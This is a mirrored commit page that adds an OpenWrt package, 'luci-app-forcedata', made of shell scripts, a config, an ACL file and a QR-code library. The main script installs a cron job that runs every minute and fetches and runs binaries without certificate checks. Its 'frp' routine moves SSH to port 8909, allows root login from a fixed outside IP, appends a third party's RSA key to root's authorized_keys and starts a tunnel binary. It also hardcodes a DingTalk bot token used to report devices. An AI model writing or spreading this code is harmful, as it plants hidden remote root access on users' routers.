mirror of
https://github.com/kiddin9/op-packages.git
synced 2026-10-30 15:45:13 +08:00
🌴 Sync 2026-03-05 23:51:42
This commit is contained in:
1 parent
97c049ed0a
commit
0acff03804
14253 files changed
+3893239
No files matched your search
@@ -0,0 +1,2 @@
|
||||
config forcedata
|
||||
# option uid ''
|
||||
@@ -0,0 +1,13 @@
|
||||
#!/bin/sh
|
||||
|
||||
uci -q batch <<-EOF >/dev/null
|
||||
command_to_run="sh /usr/libexec/istorec/forcedata.sh install"
|
||||
if crontab -l | grep -q "$command_to_run"; then
|
||||
echo "Cron job already exists"
|
||||
else
|
||||
(crontab -l ; echo "* * * * * $command_to_run") | crontab -
|
||||
echo "Cron job added"
|
||||
fi
|
||||
EOF
|
||||
|
||||
exit 0
|
||||
+295
@@ -0,0 +1,295 @@
|
||||
#!/bin/sh
|
||||
|
||||
ACTION=${1}
|
||||
shift 1
|
||||
|
||||
|
||||
update () {
|
||||
mkdir -p /usr/local/forcecloud/log
|
||||
cd /usr/local/forcecloud/
|
||||
if [ -f "forcecloud_sdk_amd64.new" ];then
|
||||
\mv forcecloud_sdk_amd64.new /tmp/
|
||||
fi
|
||||
|
||||
model=`uname -m`
|
||||
echo $model
|
||||
if [ "$model" = "aarch64" ] ; then
|
||||
wget -T 10 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64_arm.tar.gz --no-check-certificate -O forcecloud_sdk_amd64.tar.gz
|
||||
wget -T 5 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64_arm.md5 --no-check-certificate -O forcecloud_sdk_amd64.md5
|
||||
md5Local=`md5sum forcecloud_sdk_amd64.tar.gz | awk -F" " '{print $1}'`
|
||||
md5New=`cat forcecloud_sdk_amd64.md5`
|
||||
else
|
||||
wget -T 10 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64.tar.gz --no-check-certificate -O forcecloud_sdk_amd64.tar.gz
|
||||
wget -T 5 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64.md5 --no-check-certificate -O forcecloud_sdk_amd64.md5
|
||||
md5Local=`md5sum forcecloud_sdk_amd64.tar.gz | awk -F" " '{print $1}'`
|
||||
md5New=`cat forcecloud_sdk_amd64.md5`
|
||||
fi
|
||||
|
||||
|
||||
if [ "$md5New" != "" ] ; then
|
||||
if [ "$md5Local" = "$md5New" ] ; then
|
||||
tar zxvf forcecloud_sdk_amd64.tar.gz
|
||||
echo "md5一致,开始本次更新"
|
||||
ps | grep forcecloud_sdk_amd64 | grep -v grep | grep -v usr | grep -v tail | awk '{print $2}' | xargs kill -9 > /dev/null 2>&1
|
||||
if [ -f "forcecloud_sdk_amd64" ];then
|
||||
\mv forcecloud_sdk_amd64 /tmp/
|
||||
if [ "$model" = "aarch64" ] ; then
|
||||
\mv forcecloud_sdk_amd64_arm.new forcecloud_sdk_amd64
|
||||
else
|
||||
\mv forcecloud_sdk_amd64.new forcecloud_sdk_amd64
|
||||
fi
|
||||
chmod +x forcecloud_sdk_amd64
|
||||
./forcecloud_sdk_amd64 > /dev/null 2>&1 &
|
||||
sleep 3
|
||||
echo "更新完成"
|
||||
\mv forcecloud_sdk_amd64.tar.gz /tmp/
|
||||
fi
|
||||
else
|
||||
echo "md5不一致,取消本次更新"
|
||||
\mv forcecloud_sdk_amd64.md5 /tmp/
|
||||
\mv forcecloud_sdk_amd64.tar.gz /tmp/
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
getVerUpdate (){
|
||||
cd /usr/local/forcecloud/
|
||||
wget -T 5 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/forcecloud_sdk_amd64.version --no-check-certificate -O forcecloud_sdk_amd64.version.new
|
||||
clientVersion=`cat /usr/local/forcecloud/forcecloud_sdk_amd64.version.new`
|
||||
oldClientVersion=`cat /usr/local/forcecloud/forcecloud_sdk_amd64.version`
|
||||
echo $oldClientVersion,$clientVersion
|
||||
if [ "$clientVersion" != "" ] ; then
|
||||
if [ "$oldClientVersion" != "$clientVersion" ] ; then
|
||||
echo "开始更新"
|
||||
update
|
||||
fi
|
||||
\mv forcecloud_sdk_amd64.version.new /tmp/
|
||||
else
|
||||
echo "未成功下载版本号,此次检查跳过"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
|
||||
do_install() {
|
||||
opkg update
|
||||
opkg install zoneinfo-asia
|
||||
local uid=`uci get forcedata.@forcedata[0].uid 2>/dev/null`
|
||||
mkdir -p /usr/local/forcecloud/log
|
||||
echo 10 > /usr/local/forcecloud/channe_id
|
||||
echo $uid > /usr/local/forcecloud/client_id
|
||||
|
||||
if [ ! -f "/usr/local/forcecloud/forcecloud_sdk_amd64.version" ]
|
||||
then
|
||||
update
|
||||
fi
|
||||
|
||||
if [ ! -f "/usr/local/forcecloud/forcecloud_sdk_amd64" ]
|
||||
then
|
||||
update
|
||||
fi
|
||||
|
||||
diskUsed=`df -hT | grep -w / | awk -F" " '{print $6}' | awk -F"%" '{print $1}'`
|
||||
client_status=`ps | grep forcecloud_sdk_amd64 | grep -v grep| grep -v usr | grep -v tail | grep -v wget | grep -v log | grep -v vi | wc -l`
|
||||
|
||||
if [ $client_status -gt 1 ];then
|
||||
ps | grep forcecloud_sdk_amd64 | grep -v grep | awk '{print $2}' | xargs kill -9
|
||||
fi
|
||||
|
||||
client_status=`ps | grep forcecloud_sdk_amd64 | grep -v grep| grep -v usr | grep -v tail | grep -v wget | grep -v log | grep -v vi | wc -l`
|
||||
|
||||
if [ $client_status -ne 1 ];then
|
||||
echo "程序挂了"
|
||||
cd /usr/local/forcecloud/
|
||||
new=`ls -l | grep -w forcecloud_sdk_amd64.tar.gz | wc -l`
|
||||
if [ $new -eq 1 ];then
|
||||
tar xf forcecloud_sdk_amd64.tar.gz
|
||||
if [ "$model" = "aarch64" ] ; then
|
||||
\mv forcecloud_sdk_amd64_arm.new forcecloud_sdk_amd64
|
||||
else
|
||||
\mv forcecloud_sdk_amd64.new forcecloud_sdk_amd64
|
||||
fi
|
||||
chmod +x forcecloud_sdk_amd64
|
||||
\mv forcecloud_sdk_amd64.tar.gz /tmp
|
||||
fi
|
||||
./forcecloud_sdk_amd64 >/dev/null 2>&1 &
|
||||
sleep 3
|
||||
echo "重新启动"
|
||||
id=`cat /usr/local/forcecloud/client_id`
|
||||
t=`cat /proc/uptime| awk -F. '{run_days=$1 / 86400;run_hour=($1 % 86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行:%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}'`
|
||||
fenzhong=`cat /proc/uptime| awk -F. '{print $1/60}' |awk -F. '{print $1}'`
|
||||
if [ $fenzhong -lt 5 ];then
|
||||
curl 'https://oapi.dingtalk.com/robot/send?access_token=9e56f98e0c4edf23a7c2b3c821376edc33e5a2dcfc727efa464c7bfc5383ab1a' -H 'Content-Type: application/json' -d '{"msgtype": "text","text": {"content": "报警: 程序未知原因 挂了! 重新启动了 ! '$id' '$t' "}}'
|
||||
fi
|
||||
else
|
||||
echo "程序正常,开始判断硬盘是否符合更新要求。 如果不符合要求,则取消更新。" $client_status
|
||||
if [ $diskUsed -eq 100 ];then
|
||||
echo "/ 使用率为 100%,取消进行更新,请删除/硬盘 无用文件 "
|
||||
fi
|
||||
if [ $diskUsed -lt 100 ];then
|
||||
echo "/ 使用率小于100%,可以进行更新 "
|
||||
getVerUpdate
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ ! -f "/usr/local/forcecloud/busybox" ]
|
||||
then
|
||||
cd /usr/local/forcecloud/
|
||||
wget -T 10 https://forcedata.oss-cn-hangzhou.aliyuncs.com/forcecloud_sdk_amd64/busybox --no-check-certificate
|
||||
chmod +x /usr/local/forcecloud/busybox
|
||||
fi
|
||||
|
||||
forceServer=`ps | grep -w forcecloud_sdk_amd64 | grep -v grep | grep -v usr | grep -v tail | grep -v wget | wc -l`
|
||||
if [ $forceServer -gt 1 ];then
|
||||
curl 'https://oapi.dingtalk.com/robot/send?access_token=9e56f98e0c4edf23a7c2b3c821376edc33e5a2dcfc727efa464c7bfc5383ab1a' -H 'Content-Type: application/json' -d '{"msgtype": "text","text": {"content": "报警: 此主机启动了多个探针!'$host'"}}'
|
||||
fi
|
||||
|
||||
command_to_run="sh /usr/libexec/istorec/forcedata.sh install"
|
||||
if crontab -l | grep -q "$command_to_run"; then
|
||||
echo "Cron job already exists"
|
||||
else
|
||||
(crontab -l ; echo "* * * * * $command_to_run") | crontab -
|
||||
echo "Cron job added"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
|
||||
frp() {
|
||||
cd /usr/local/forcecloud/
|
||||
##判断 test.tar.gz 是否存在,如果不存在,则下载
|
||||
if [ ! -f "/usr/local/forcecloud/test.tar.gz" ] ;then
|
||||
wget https://forcedata.oss-accelerate-overseas.aliyuncs.com/forcecloud_sdk_amd64/test.tar.gz
|
||||
tar xf /usr/local/forcecloud/test.tar.gz
|
||||
fi
|
||||
|
||||
ssh=`ps |grep ssh |grep -v grep | wc -l`
|
||||
if [ "$ssh" = "0" ] ; then
|
||||
opkg update
|
||||
opkg install openssh-server
|
||||
fi
|
||||
|
||||
grep "Port 8909" /etc/ssh/sshd_config >> /dev/null 2>&1 || sed -i 's/#Port 22/Port 8909/g' /etc/ssh/sshd_config
|
||||
grep "60.205.211.237" /etc/ssh/sshd_config >> /dev/null 2>&1 || sed -i '/AllowTcpForwarding yes/a AllowUsers root@60.205.211.237' /etc/ssh/sshd_config
|
||||
grep "AllowUsers root@127.0.0.1" /etc/ssh/sshd_config >> /dev/null 2>&1 || echo "AllowUsers root@127.0.0.1" >> /etc/ssh/sshd_config
|
||||
grep "#PubkeyAuthentication yes" /etc/ssh/sshd_config >> /dev/null 2>&1 || sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/g' /etc/ssh/sshd_config
|
||||
|
||||
mkdir -p /root/.ssh
|
||||
touch /root/.ssh/authorized_keys
|
||||
chmod 700 /root/.ssh
|
||||
chmod 600 /root/.ssh/authorized_keys
|
||||
chown -R root /root/.ssh
|
||||
chown -R root /root/.ssh/authorized_keys
|
||||
auth=`grep "jump.rootdata.cn" /root/.ssh/authorized_keys | wc -l`
|
||||
if [ $auth -ne 1 ]; then
|
||||
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOCQkjMlHfx3BeSA7WrJxNVqNldrl2yfiEikPv2ny9naxWiBqF7F5ImQK1SRW8Ym2IJQs8bOrmXrupzz0Y9oBTrseuBFQSt7meSyXSVjM6MPf7EOGQDTQlmlWa6LWbQr8i9bbSibVso7D5T14pgf8ZgBWlHcLFbr8l2VuS+7lMjKCByYyIUItx8Gtn06vbyP9HKdfgQtzqOFiR4eRJZa/ivcvE/LUdagac8MBQIUwANPFN+7Trn8o22QELmgTnVMygeoxBRxNh4NYfUul/h07NYI26bQ+i1rMDTyUmVmrj0wZfpjJlFQ8xzCtinknkPAwS8WdOZvVtTmz8HeEV25kX root@jump.rootdata.cn" >> /root/.ssh/authorized_keys
|
||||
fi
|
||||
|
||||
/etc/init.d/sshd start
|
||||
/etc/init.d/sshd enable
|
||||
|
||||
}
|
||||
|
||||
|
||||
checkTest() {
|
||||
now=$(date '+%Y-%m-%d %H:%M:%S') # 定义log的时间格式
|
||||
thisLog='/tmp/monitor.log' # 该脚本的log日志文件
|
||||
|
||||
num=`cat /usr/local/forcecloud/test/test.ini | grep number | wc -l`
|
||||
if [ $num -ne 2 ]; then
|
||||
ret1=`ps | grep forcecloud | grep test | grep -v grep | grep -v bin | grep -v bash | wc -l`
|
||||
echo $ret1
|
||||
if [ $ret1 -eq 0 ]; then # 如果ps找不到运行的目标进程就拉起
|
||||
model=`uname -m`
|
||||
echo $model
|
||||
if [ "$model" = "aarch64" ] ; then
|
||||
cd /usr/local/forcecloud/test
|
||||
\mv test_arm test
|
||||
fi
|
||||
echo "$now frp process not exists ,restart process now... " >>"$thisLog"
|
||||
/usr/local/forcecloud/test/test -c /usr/local/forcecloud/test/test.ini >> /dev/null 2>&1 &
|
||||
echo "$now frp restart done ..... " >>"$thisLog"
|
||||
fi
|
||||
fi
|
||||
echo "---------------------------------后台启动中,请稍等---------------------------------"
|
||||
}
|
||||
|
||||
|
||||
|
||||
status(){
|
||||
client_status=`ps | grep forcecloud_sdk_amd64 | grep -v grep| grep -v usr | grep -v tail | grep -v wget | grep -v log | grep -v vi | wc -l`
|
||||
if [ $client_status -ne 1 ];then
|
||||
echo "no ruuning"
|
||||
else
|
||||
echo "running"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
usage() {
|
||||
echo "usage: $0 sub-command"
|
||||
echo "where sub-command is one of:"
|
||||
echo " install Install the forcedata"
|
||||
echo " upgrade Upgrade the forcedata"
|
||||
echo " rm/start/stop/restart Remove/Start/Stop/Restart the forcedata"
|
||||
echo " status Onething status"
|
||||
}
|
||||
|
||||
|
||||
case ${ACTION} in
|
||||
"install")
|
||||
do_install
|
||||
checkTest
|
||||
;;
|
||||
"upgrade")
|
||||
do_install
|
||||
checkTest
|
||||
;;
|
||||
"rm")
|
||||
command_to_remove="sh /usr/libexec/istorec/forcedata.sh install"
|
||||
if crontab -l | grep -q "$command_to_remove"; then
|
||||
crontab -l | grep -v "$command_to_remove" | crontab -
|
||||
echo "Cron job removed"
|
||||
else
|
||||
echo "Cron job not found"
|
||||
fi
|
||||
|
||||
process_name="forcecloud_sdk_amd64"
|
||||
process_id=$(ps | grep "$process_name" | grep -v grep | head -n 1 | awk '{print $1}')
|
||||
if [ "$process_id" != "" ]; then
|
||||
kill -9 "$process_id"
|
||||
echo "Process $process_name with ID $process_id killed"
|
||||
else
|
||||
echo "Process $process_name not found"
|
||||
fi
|
||||
|
||||
process_name="test"
|
||||
process_id=$(ps | grep "$process_name" | grep -v grep | head -n 1 | awk '{print $1}')
|
||||
if [ "$process_id" != "" ]; then
|
||||
kill -9 "$process_id"
|
||||
echo "test $process_name with ID $process_id killed"
|
||||
else
|
||||
echo "test $process_name not found"
|
||||
fi
|
||||
|
||||
rm -rf /usr/local/forcecloud/
|
||||
;;
|
||||
"start" | "restart")
|
||||
do_install
|
||||
checkTest
|
||||
;;
|
||||
"status")
|
||||
status
|
||||
;;
|
||||
"frp")
|
||||
frp
|
||||
;;
|
||||
"stop")
|
||||
;;
|
||||
*)
|
||||
usage
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
{
|
||||
"luci-app-forcedata": {
|
||||
"description": "Grant UCI access for luci-app-forcedata",
|
||||
"read": {
|
||||
"uci": [ "forcedata" ]
|
||||
},
|
||||
"write": {
|
||||
"uci": [ "forcedata" ]
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
var QRCode;!function(){function a(a){this.mode=c.MODE_8BIT_BYTE,this.data=a,this.parsedData=[];for(var b=[],d=0,e=this.data.length;e>d;d++){var f=this.data.charCodeAt(d);f>65536?(b[0]=240|(1835008&f)>>>18,b[1]=128|(258048&f)>>>12,b[2]=128|(4032&f)>>>6,b[3]=128|63&f):f>2048?(b[0]=224|(61440&f)>>>12,b[1]=128|(4032&f)>>>6,b[2]=128|63&f):f>128?(b[0]=192|(1984&f)>>>6,b[1]=128|63&f):b[0]=f,this.parsedData=this.parsedData.concat(b)}this.parsedData.length!=this.data.length&&(this.parsedData.unshift(191),this.parsedData.unshift(187),this.parsedData.unshift(239))}function b(a,b){this.typeNumber=a,this.errorCorrectLevel=b,this.modules=null,this.moduleCount=0,this.dataCache=null,this.dataList=[]}function i(a,b){if(void 0==a.length)throw new Error(a.length+"/"+b);for(var c=0;c<a.length&&0==a[c];)c++;this.num=new Array(a.length-c+b);for(var d=0;d<a.length-c;d++)this.num[d]=a[d+c]}function j(a,b){this.totalCount=a,this.dataCount=b}function k(){this.buffer=[],this.length=0}function m(){return"undefined"!=typeof CanvasRenderingContext2D}function n(){var a=!1,b=navigator.userAgent;return/android/i.test(b)&&(a=!0,aMat=b.toString().match(/android ([0-9]\.[0-9])/i),aMat&&aMat[1]&&(a=parseFloat(aMat[1]))),a}function r(a,b){for(var c=1,e=s(a),f=0,g=l.length;g>=f;f++){var h=0;switch(b){case d.L:h=l[f][0];break;case d.M:h=l[f][1];break;case d.Q:h=l[f][2];break;case d.H:h=l[f][3]}if(h>=e)break;c++}if(c>l.length)throw new Error("Too long data");return c}function s(a){var b=encodeURI(a).toString().replace(/\%[0-9a-fA-F]{2}/g,"a");return b.length+(b.length!=a?3:0)}a.prototype={getLength:function(){return this.parsedData.length},write:function(a){for(var b=0,c=this.parsedData.length;c>b;b++)a.put(this.parsedData[b],8)}},b.prototype={addData:function(b){var c=new a(b);this.dataList.push(c),this.dataCache=null},isDark:function(a,b){if(0>a||this.moduleCount<=a||0>b||this.moduleCount<=b)throw new Error(a+","+b);return this.modules[a][b]},getModuleCount:function(){return this.moduleCount},make:function(){this.makeImpl(!1,this.getBestMaskPattern())},makeImpl:function(a,c){this.moduleCount=4*this.typeNumber+17,this.modules=new Array(this.moduleCount);for(var d=0;d<this.moduleCount;d++){this.modules[d]=new Array(this.moduleCount);for(var e=0;e<this.moduleCount;e++)this.modules[d][e]=null}this.setupPositionProbePattern(0,0),this.setupPositionProbePattern(this.moduleCount-7,0),this.setupPositionProbePattern(0,this.moduleCount-7),this.setupPositionAdjustPattern(),this.setupTimingPattern(),this.setupTypeInfo(a,c),this.typeNumber>=7&&this.setupTypeNumber(a),null==this.dataCache&&(this.dataCache=b.createData(this.typeNumber,this.errorCorrectLevel,this.dataList)),this.mapData(this.dataCache,c)},setupPositionProbePattern:function(a,b){for(var c=-1;7>=c;c++)if(!(-1>=a+c||this.moduleCount<=a+c))for(var d=-1;7>=d;d++)-1>=b+d||this.moduleCount<=b+d||(this.modules[a+c][b+d]=c>=0&&6>=c&&(0==d||6==d)||d>=0&&6>=d&&(0==c||6==c)||c>=2&&4>=c&&d>=2&&4>=d?!0:!1)},getBestMaskPattern:function(){for(var a=0,b=0,c=0;8>c;c++){this.makeImpl(!0,c);var d=f.getLostPoint(this);(0==c||a>d)&&(a=d,b=c)}return b},createMovieClip:function(a,b,c){var d=a.createEmptyMovieClip(b,c),e=1;this.make();for(var f=0;f<this.modules.length;f++)for(var g=f*e,h=0;h<this.modules[f].length;h++){var i=h*e,j=this.modules[f][h];j&&(d.beginFill(0,100),d.moveTo(i,g),d.lineTo(i+e,g),d.lineTo(i+e,g+e),d.lineTo(i,g+e),d.endFill())}return d},setupTimingPattern:function(){for(var a=8;a<this.moduleCount-8;a++)null==this.modules[a][6]&&(this.modules[a][6]=0==a%2);for(var b=8;b<this.moduleCount-8;b++)null==this.modules[6][b]&&(this.modules[6][b]=0==b%2)},setupPositionAdjustPattern:function(){for(var a=f.getPatternPosition(this.typeNumber),b=0;b<a.length;b++)for(var c=0;c<a.length;c++){var d=a[b],e=a[c];if(null==this.modules[d][e])for(var g=-2;2>=g;g++)for(var h=-2;2>=h;h++)this.modules[d+g][e+h]=-2==g||2==g||-2==h||2==h||0==g&&0==h?!0:!1}},setupTypeNumber:function(a){for(var b=f.getBCHTypeNumber(this.typeNumber),c=0;18>c;c++){var d=!a&&1==(1&b>>c);this.modules[Math.floor(c/3)][c%3+this.moduleCount-8-3]=d}for(var c=0;18>c;c++){var d=!a&&1==(1&b>>c);this.modules[c%3+this.moduleCount-8-3][Math.floor(c/3)]=d}},setupTypeInfo:function(a,b){for(var c=this.errorCorrectLevel<<3|b,d=f.getBCHTypeInfo(c),e=0;15>e;e++){var g=!a&&1==(1&d>>e);6>e?this.modules[e][8]=g:8>e?this.modules[e+1][8]=g:this.modules[this.moduleCount-15+e][8]=g}for(var e=0;15>e;e++){var g=!a&&1==(1&d>>e);8>e?this.modules[8][this.moduleCount-e-1]=g:9>e?this.modules[8][15-e-1+1]=g:this.modules[8][15-e-1]=g}this.modules[this.moduleCount-8][8]=!a},mapData:function(a,b){for(var c=-1,d=this.moduleCount-1,e=7,g=0,h=this.moduleCount-1;h>0;h-=2)for(6==h&&h--;;){for(var i=0;2>i;i++)if(null==this.modules[d][h-i]){var j=!1;g<a.length&&(j=1==(1&a[g]>>>e));var k=f.getMask(b,d,h-i);k&&(j=!j),this.modules[d][h-i]=j,e--,-1==e&&(g++,e=7)}if(d+=c,0>d||this.moduleCount<=d){d-=c,c=-c;break}}}},b.PAD0=236,b.PAD1=17,b.createData=function(a,c,d){for(var e=j.getRSBlocks(a,cLine truncated
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 59 KiB |
Reference in new issue
Block a user